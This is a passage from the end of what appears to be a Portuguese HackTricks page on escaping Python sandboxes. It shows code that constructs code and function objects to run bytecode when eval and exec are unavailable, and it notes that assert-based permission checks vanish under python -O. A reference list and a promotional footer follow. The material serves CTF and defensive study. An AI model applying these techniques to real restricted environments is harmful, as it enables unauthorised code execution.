#You could also execute it directly
|
|
mydict = {}
|
|
mydict['__builtins__'] = __builtins__
|
|
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
|
function_type(codeobj, mydict, None, None, None)()
|
|
```
|
|
Se não for possível acessar `eval` ou `exec`, você pode criar uma **função apropriada**, mas chamá-la diretamente geralmente resultará em falha com: _constructor not accessible in restricted mode_. Portanto, você precisa de uma **função que não esteja no ambiente restrito para chamar esta função.**
|
|
```python
|
|
#Compile a regular print
|
|
ftype = type(lambda: None)
|
|
ctype = type((lambda: None).func_code)
|
|
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
|
f(42)
|
|
```
|
|
## Decompilando Python Compilado
|
|
|
|
Usando ferramentas como [**https://www.decompiler.com/**](https://www.decompiler.com) é possível **decompilar** o código Python compilado fornecido.
|
|
|
|
**Confira este tutorial**:
|
|
|
|
{% content-ref url="../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
|
[.pyc.md](../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Python Diversos
|
|
|
|
### Assert
|
|
|
|
O Python executado com otimizações com o parâmetro `-O` removerá as declarações de assert e qualquer código condicional com base no valor de **debug**.\
|
|
Portanto, verificações como
|
|
```python
|
|
def check_permission(super_user):
|
|
try:
|
|
assert(super_user)
|
|
print("\nYou are a super user\n")
|
|
except AssertionError:
|
|
print(f"\nNot a Super User!!!\n")
|
|
```
|
|
serão contornados
|
|
|
|
## Referências
|
|
|
|
* [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
|
* [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
|
|
* [https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/](https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/)
|
|
* [https://gynvael.coldwind.pl/n/python\_sandbox\_escape](https://gynvael.coldwind.pl/n/python\_sandbox\_escape)
|
|
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
|
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
|
|
|
***
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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|
|
|
Outras formas de apoiar o HackTricks:
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|
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* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
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* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
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* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
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|
|
|
</details>
|